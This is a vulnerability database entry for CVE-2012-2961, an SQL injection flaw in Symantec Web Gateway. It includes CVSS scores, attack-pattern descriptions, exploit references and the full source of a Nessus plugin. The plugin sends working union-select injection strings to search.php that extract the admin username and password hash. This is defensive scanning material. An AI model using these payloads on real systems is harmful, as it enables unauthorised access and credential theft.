Vulnerabilities > CVE-2012-2961 - SQL Injection vulnerability in Symantec web Gateway

047910
CVSS 7.5 - HIGH
Attack vector
NETWORK
Attack complexity
LOW
Privileges required
NONE
Confidentiality impact
PARTIAL
Integrity impact
PARTIAL
Availability impact
PARTIAL
network
low complexity
symantec
CWE-89
nessus
exploit available

Summary

SQL injection vulnerability in the management console in Symantec Web Gateway 5.0.x before 5.0.3.18 allows remote attackers to execute arbitrary SQL commands via unspecified vectors.

Common Attack Pattern Enumeration and Classification (CAPEC)

  • Command Line Execution through SQL Injection
    An attacker uses standard SQL injection methods to inject data into the command line for execution. This could be done directly through misuse of directives such as MSSQL_xp_cmdshell or indirectly through injection of data into the database that would be interpreted as shell commands. Sometime later, an unscrupulous backend application (or could be part of the functionality of the same application) fetches the injected data stored in the database and uses this data as command line arguments without performing proper validation. The malicious data escapes that data plane by spawning new commands to be executed on the host.
  • Object Relational Mapping Injection
    An attacker leverages a weakness present in the database access layer code generated with an Object Relational Mapping (ORM) tool or a weakness in the way that a developer used a persistence framework to inject his or her own SQL commands to be executed against the underlying database. The attack here is similar to plain SQL injection, except that the application does not use JDBC to directly talk to the database, but instead it uses a data access layer generated by an ORM tool or framework (e.g. Hibernate). While most of the time code generated by an ORM tool contains safe access methods that are immune to SQL injection, sometimes either due to some weakness in the generated code or due to the fact that the developer failed to use the generated access methods properly, SQL injection is still possible.
  • SQL Injection through SOAP Parameter Tampering
    An attacker modifies the parameters of the SOAP message that is sent from the service consumer to the service provider to initiate a SQL injection attack. On the service provider side, the SOAP message is parsed and parameters are not properly validated before being used to access a database in a way that does not use parameter binding, thus enabling the attacker to control the structure of the executed SQL query. This pattern describes a SQL injection attack with the delivery mechanism being a SOAP message.
  • Expanding Control over the Operating System from the Database
    An attacker is able to leverage access gained to the database to read / write data to the file system, compromise the operating system, create a tunnel for accessing the host machine, and use this access to potentially attack other machines on the same network as the database machine. Traditionally SQL injections attacks are viewed as a way to gain unauthorized read access to the data stored in the database, modify the data in the database, delete the data, etc. However, almost every data base management system (DBMS) system includes facilities that if compromised allow an attacker complete access to the file system, operating system, and full access to the host running the database. The attacker can then use this privileged access to launch subsequent attacks. These facilities include dropping into a command shell, creating user defined functions that can call system level libraries present on the host machine, stored procedures, etc.
  • SQL Injection
    This attack exploits target software that constructs SQL statements based on user input. An attacker crafts input strings so that when the target software constructs SQL statements based on the input, the resulting SQL statement performs actions other than those the application intended. SQL Injection results from failure of the application to appropriately validate input. When specially crafted user-controlled input consisting of SQL syntax is used without proper validation as part of SQL queries, it is possible to glean information from the database in ways not envisaged during application design. Depending upon the database and the design of the application, it may also be possible to leverage injection to have the database execute system-related commands of the attackers' choice. SQL Injection enables an attacker to talk directly to the database, thus bypassing the application completely. Successful injection can cause information disclosure as well as ability to add or modify data in the database. In order to successfully inject SQL and retrieve information from a database, an attacker:

D2sec

nameSymantec Web Gateway 5.0.3 SQLi
urlhttp://www.d2sec.com/exploits/symantec_web_gateway_5.0.3_sqli.html

Exploit-Db

descriptionSymantec Web Gateway 5.0.3.18 - Blind SQLi Backdoor via MySQL Triggers. CVE-2012-2961. Webapps exploit for php platform
idEDB-ID:20044
last seen2016-02-02
modified2012-07-23
published2012-07-23
reportermuts
sourcehttps://www.exploit-db.com/download/20044/
titleSymantec Web Gateway 5.0.3.18 - Blind SQLi Backdoor via MySQL Triggers

Nessus

NASL familyCGI abuses
NASL idSYMANTEC_WEB_GATEWAY_SEARCH_SQLI.NASL
descriptionThe remote web server is hosting a version of Symantec Web Gateway that is affected by a SQL injection vulnerability. The vulnerability is in includes/dbutils.php, and is exploitable via search.php. A remote, unauthenticated attacker could exploit this to execute arbitrary database queries. Note that this install is likely affected by several other issues, although this plugin has not checked for them.
last seen2020-06-01
modified2020-06-02
plugin id61436
published2012-08-06
reporterThis script is Copyright (C) 2012-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
sourcehttps://www.tenable.com/plugins/nessus/61436
titleSymantec Web Gateway search.php SQL Injection (SYM12-011)
code
#
# (C) Tenable Network Security, Inc.
#

include("compat.inc");

if (description)
{
  script_id(61436);
  script_version("1.14");
  script_cvs_date("Date: 2019/12/04");

  script_cve_id("CVE-2012-2961");
  script_bugtraq_id(54425);
  script_xref(name:"TRA", value:"TRA-2012-16");
  script_xref(name:"CERT", value:"108471");
  script_xref(name:"EDB-ID", value:"20044");

  script_name(english:"Symantec Web Gateway search.php SQL Injection (SYM12-011)");
  script_summary(english:"Uses SQL injection to get admin username & password hash.");

  script_set_attribute(attribute:"synopsis", value:
"A web security application hosted on the remote web server is affected
by a SQL injection vulnerability.");
  script_set_attribute(attribute:"description", value:
"The remote web server is hosting a version of Symantec Web Gateway that
is affected by a SQL injection vulnerability.  The vulnerability is in
includes/dbutils.php, and is exploitable via search.php.  A remote,
unauthenticated attacker could exploit this to execute arbitrary
database queries. 

Note that this install is likely affected by several other issues,
although this plugin has not checked for them.");
  script_set_attribute(attribute:"see_also", value:"https://www.tenable.com/security/research/tra-2012-16");
  # https://support.symantec.com/en_US/article.SYMSA1255.html
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?dc337806");
  script_set_attribute(attribute:"solution", value:
"Upgrade to Symantec Web Gateway version 5.0.3.18 and apply database
upgrade 5.0.0.438.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:H/RL:OF/RC:C");

  script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"d2_elliot_name", value:"Symantec Web Gateway 5.0.3 SQLi");
  script_set_attribute(attribute:"exploit_framework_d2_elliot", value:"true");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2012/05/17");
  script_set_attribute(attribute:"patch_publication_date", value:"2012/05/17");
  script_set_attribute(attribute:"plugin_publication_date", value:"2012/08/06");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:symantec:web_gateway");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2012-2019 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("symantec_web_gateway_detect.nasl");
  script_require_keys("www/symantec_web_gateway");
  script_require_ports("Services/www", 443);

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("webapp_func.inc");

port = get_http_port(default:443, php:TRUE);
install = get_install_from_kb(appname:'symantec_web_gateway', port:port, exit_on_fail:TRUE);
base_url = build_url(qs:install['dir'], port:port);
search_page = install['dir'] + '/search.php';

# first get the admin's username
qs = 'type=hostname&value=%27%20union%20select%20username,%202%20%20from%20users%20--%20%27';
username_sqli = search_page + '?' + qs;
res = http_send_recv3(method:'GET', port:port, item:username_sqli, exit_on_fail:TRUE);
headers = parse_http_headers(status_line:res[0], headers:res[1]);
username = headers['location'] - 'clientreport.php?hostname=';

if (strlen(username) == 0)
  audit(AUDIT_WEB_APP_NOT_AFFECTED, 'SWG', base_url);

qs = 'type=hostname&value=%27%20union%20select%20password,%202%20%20from%20users%20--%20%27';
password_sqli = search_page + '?' + qs;
res = http_send_recv3(method:'GET', port:port, item:password_sqli, exit_on_fail:TRUE);
headers = parse_http_headers(status_line:res[0], headers:res[1]);
password = headers['location'] - 'clientreport.php?hostname=';

# if the result doesn't look like an md5 hash, the exploit probably didn't work
if (password !~ '^[0-9A-Fa-f]{32}$')
  audit(AUDIT_WEB_APP_NOT_AFFECTED, 'SWG', base_url);

set_kb_item(name:'www/'+port+'/SQLInjection', value:TRUE);

if (report_verbosity > 0)
{
  report =
    '\nNessus was able to get the username and password hash of an admin user' +
    '\nby making the following requests and parsing the location field in the' +
    '\nresponse headers :\n\n' +
    build_url(qs:username_sqli, port:port) + '\n' +
    build_url(qs:password_sqli, port:port) + '\n' +
    '\nWhich returned the following information :\n\n' +
    '  Username : ' + username + '\n' +
    '  MD5 hash : ' + password + '\n';
  security_hole(port:port, extra:report);
}
else security_hole(port);

Packetstorm

data sourcehttps://packetstormsecurity.com/files/download/114952/symantecwebgw-sql.txt
idPACKETSTORM:114952
last seen2016-12-05
published2012-07-23
reportermuts
sourcehttps://packetstormsecurity.com/files/114952/Symantec-Web-Gateway-5.0.3.18-Blind-SQL-Injection.html
titleSymantec Web Gateway 5.0.3.18 Blind SQL Injection